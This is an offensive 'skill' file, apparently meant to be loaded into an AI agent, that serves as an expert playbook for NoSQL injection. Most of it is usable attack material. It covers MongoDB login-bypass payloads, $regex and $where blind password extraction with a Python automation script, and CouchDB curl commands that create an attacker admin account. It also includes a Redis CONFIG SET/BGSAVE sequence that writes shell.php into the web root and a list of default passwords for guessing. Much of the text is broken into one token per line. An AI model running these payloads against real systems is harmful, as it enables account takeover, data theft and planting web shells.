- SKILL: NoSQL Injection — Expert Attack Playbook
- AI LOAD INSTRUCTION
-
- NoSQL injection is fundamentally different from SQL injection. Covers MongoDB operator injection, authentication bypass, blind extraction, aggregation pipeline injection, and Redis/CouchDB specific attacks. Very commonly missed by testers who only know SQLi patterns.
- 1. CORE CONCEPT — OPERATOR INJECTION
- SQL Injection
- breaks out of string literals.
- NoSQL Injection
- injects
- query operators
- that change query logic.
- MongoDB example — normal query:
- db
- .
- users
- .
- find
- (
- {
- username
- :
- "alice"
- ,
- password
- :
- "secret"
- }
- )
- Injection via JSON operator:
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$gt"
- :
- ""
- }
- }
- → Becomes:
- find({username:"admin", password:{$gt:""}})
- → password > "" → always true!
- 2. MONGODB — LOGIN BYPASS
- JSON Body Injection (API with JSON Content-Type)
- POST /api/login
- Content-Type
- :
- application/json
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$ne"
- :
- "invalid"
- }
- }
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$gt"
- :
- ""
- }
- }
- {
- "username"
- :
- {
- "$ne"
- :
- "invalid"
- }
- ,
- "password"
- :
- {
- "$ne"
- :
- "invalid"
- }
- }
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$regex"
- :
- ".*"
- }
- }
- PHP
- $_POST
- Array Injection (URL-encoded form)
- username=admin&password[$ne]=invalid
- username=admin&password[$gt]=
- username[$ne]=invalid&password[$ne]=invalid
- username=admin&password[$regex]=.*
- Ruby / Python
- params
- Array Injection
- Same as PHP — use bracket notation to inject objects:
- ?username[%24ne]=invalid&password[%24ne]=invalid
- %24
- = URL-encoded
- $
- 3. MONGODB OPERATORS FOR INJECTION
- Operator
- Meaning
- Use Case
- $ne
- not equal
- {"password": {"$ne": "x"}}
- → always matches
- $gt
- greater than
- {"password": {"$gt": ""}}
- → all non-empty passwords match
- $gte
- greater or equal
- Similar to $gt
- $lt
- less than
- {"password": {"$lt": "~"}}
- → all ASCII match
- $regex
- regex match
- {"username": {"$regex": "adm.*"}}
- $where
- JS expression
- MOST DANGEROUS — code execution
- $exists
- field exists
- {"admin": {"$exists": true}}
- $in
- in array
- {"username": {"$in": ["admin","user"]}}
- 4. BLIND DATA EXTRACTION VIA $REGEX
- Like binary search in SQLi, use
- $regex
- to extract field values character by character:
- // Does admin's password start with 'a'?
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$regex"
- :
- "^a"
- }
- }
- // Does admin's password start with 'b'?
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$regex"
- :
- "^b"
- }
- }
- // Continue: narrow down each position
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$regex"
- :
- "^ab"
- }
- }
- {
- "username"
- :
- "admin"
- ,
- "password"
- :
- {
- "$regex"
- :
- "^ac"
- }
- }
- Response difference
- successful login vs failed login = boolean oracle. Automate with NoSQLMap or custom script with binary search on character set. 5. MONGODB $WHERE INJECTION (JS EXECUTION) $where evaluates JavaScript in MongoDB context. Can only use current document's fields — not system access. But allows logic abuse: { "$where" : "this.username == 'admin' && this.password.length > 0" } // Blind extraction via timing: { "$where" : "if(this.username=='admin'){sleep(5000);return true;}else{return false;}" } // Regex via JS: { "$where" : "this.username.match(/^adm/) && true" } Limit : $where doesn't give OS command execution — server-side JS injection (not to be confused with command injection). 6. AGGREGATION PIPELINE INJECTION When user-controlled data enters $match or $group stages: // Vulnerable code: db . collection . aggregate ( [ { $match : { category : userInput } } , // userInput = {"$ne": null} ... ] ) Inject operators to bypass: // Input as object: { "$ne" : null } → matches all categories { "$regex" : ".*" } → matches all 7. HTTP PARAMETER POLLUTION FOR NOSQL Some frameworks (Express.js, PHP) parse repeating parameters as arrays: ?filter=value1&filter=value2 → filter = ["value1", "value2"] Use qs library parse behavior in Node.js: ?filter[$ne]=invalid → parsed as: filter = {$ne: "invalid"} → NoSQL operator injection 8. COUCHDB ATTACKS HTTP Admin API (if exposed)
List databases:
curl http://target.com:5984/_all_dbs
Read all documents in a DB:
curl http://target.com:5984/DATABASE_NAME/_all_docs?include_docs = true
Create admin account (if anonymous access allowed):
curl -X PUT http://target.com:5984/_config/admins/attacker -d '"password"' 9. REDIS INJECTION Redis exposed (6379) with no auth — command injection via input used in Redis queries:
Via SSRF or direct injection:
SET key "" CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php BGSAVE Auth bypass (older Redis with requirepass using simple password): AUTH password AUTH 123456 AUTH redis AUTH admin 10. DETECTION PAYLOADS Send these to any input processed by NoSQL backend: true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1 1, $where: '1 == 1' { $ne: 1 } ', sleep(1000) 1' ; sleep(1000) {"$gt": ""} {"$ne": "invalid"} [$ne]=invalid [$gt]= JSON variant test (change Content-Type to application/json if endpoint is form-based): { "username" : "admin" , "password" : { "$ne" : "" } } 11. NOSQL VS SQL — KEY DIFFERENCES Aspect SQLi NoSQLi Language SQL syntax Query operator objects Injection vector String concatenation Object/operator injection Common signal Quote breaks response {$ne:x} changes response Extraction method UNION / error-based $regex character oracle Auth bypass ' OR 1=1-- {"password":{"$ne":""}} OS command xp_cmdshell (MSSQL) Rare (need $where + CVE) Fingerprint DB-specific error messages "cannot use $" errors 12. TESTING CHECKLIST □ Test login fields with: {"$ne": "invalid"} JSON body □ Test URL-encoded forms: password[$ne]=invalid □ Test $regex for blind enumeration of field values □ Try $where with sleep() for time-based blind □ Check 5984 port for CouchDB (unauthenticated admin) □ Check 6379 port for Redis (unauthenticated) □ Try Content-Type: application/json on form endpoints □ Monitor for operator-related error messages ("BSON" "operator" "$not allowed") 13. BLIND NoSQL EXTRACTION AUTOMATION $regex Character-by-Character Extraction (Python Template) import requests import string url = "http://target/login" charset = string . ascii_lowercase + string . digits + string . punctuation password = "" while True : found = False for c in charset : payload = { "username" : "admin" , "password[$regex]" : f"^ { password } { c } ." } r = requests . post ( url , json = payload ) if "success" in r . text or r . status_code == 302 : password += c found = True print ( f"Found: { password } " ) break if not found : break print ( f"Final password: { password } " ) $regex via URL-encoded GET Parameters username=admin&password[$regex]=^a. username=admin&password[$regex]=^ab.*
Iterate through charset until login succeeds
- Duplicate Key Bypass
- // When app checks one key but processes another:
- {
- "id"
- :
- "10"
- ,
- "id"
- :
- "100"
- }
- // JSON parsers typically use last occurrence
- // Bypass: WAF validates id=10, app processes id=100
- 14. AGGREGATION PIPELINE INJECTION
- When user input reaches MongoDB aggregation pipeline stages:
- // If user controls $match stage:
- db
- .
- collection
- .
- aggregate
- (
- [
- {
- $match
- :
- {
- user
- :
- INPUT
- }
- }
- // INPUT from user
- ]
- )
- // Injection: provide object instead of string
- // INPUT = {"$gt": ""} → matches all documents
- // $lookup for cross-collection data access:
- // If $lookup stage is injectable:
- {
- $lookup
- :
- {
- from
- :
- "admin_users"
- ,
- // attacker-chosen collection
- localField
- :
- "user_id"
- ,
- foreignField
- :
- "_id"
- ,
- as
- :
- "leaked"
- }
- }
- // $out to write results to new collection:
- {
- $out
- :
- "public_collection"
- }
- // Write query results to accessible collection
- $where JavaScript Execution
- // $where allows arbitrary JavaScript (DANGEROUS):
- db
- .
- users
- .
- find
- (
- {
- $where
- :
- "this.username == 'admin'"
- }
- )
- // If input reaches $where:
- // Injection: ' || 1==1 || '
- // Or: '; return true; var x='
- // Time-based: '; sleep(5000); var x='
- // Data exfil: '; if(this.password[0]=='a'){sleep(5000)}; var x='
- Reference
- Soroush Dalili — "MongoDB NoSQL Injection with Aggregation Pipelines" (2024) Note: $where runs JavaScript on the server. Besides logic abuse and timing oracles, older MongoDB builds without a tight V8 sandbox historically raised RCE concerns; prefer treating any $where sink as high risk.